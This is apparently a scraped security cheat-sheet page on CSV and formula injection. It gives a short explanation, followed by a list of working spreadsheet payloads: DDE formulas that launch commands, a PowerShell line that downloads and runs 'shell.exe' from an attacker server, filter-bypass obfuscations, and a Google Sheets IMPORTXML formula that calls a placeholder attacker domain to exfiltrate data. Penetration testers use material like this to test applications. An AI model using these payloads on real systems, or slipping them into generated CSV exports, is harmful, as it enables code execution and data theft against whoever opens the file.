7 Payloads
Upstream SourceCSV Injection Payloads & Testing Methodology
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
CSV Injection#
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
Summary#
Methodology#
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
text4 lines
=
+
–
@Basic exploits with **Dynamic Data Exchange**.
- Spawn a calc
text4 lines
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'- PowerShell download and execute
text1 line
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0- Prefix obfuscation and command chaining
text3 lines
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A- Using rundll32 instead of cmd
text2 lines
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A- Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
text1 line
= C m D | '/ c c al c . e x e ' ! ATechnical details of the above payloads:
cmdis the name the server can respond to whenever a client is trying to access the server/Ccalc is the file name which in our case is the calc(i.e the calc.exe)!A0is the item name that specifies unit of data that a server can respond when the client is requesting the data
Google Sheets#
Google Sheets allows some additional formulas that are able to fetch remote URLs:
- IMPORTXML(url, xpath_query, locale)
- IMPORTRANGE(spreadsheet_url, range_string)
- IMPORTHTML(url, query, index)
- IMPORTFEED(url, [query], [headers], [num_items])
- IMPORTDATA(url)
So one can test blind formula injection or a potential for data exfiltration with:
text1 line
=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
References#
- CSV Excel Macro Injection - Timo Goosen, Albinowax - June 21, 2022
- CSV Excel formula injection - Google Bug Hunter University - May 22, 2022
- CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - November 30, 2017
- From CSV to Meterpreter - Adam Chester - November 5, 2015
- The Absurdly Underestimated Dangers of CSV Injection - George Mauer - October 7, 2017
- Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018
- Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020
Table of Contents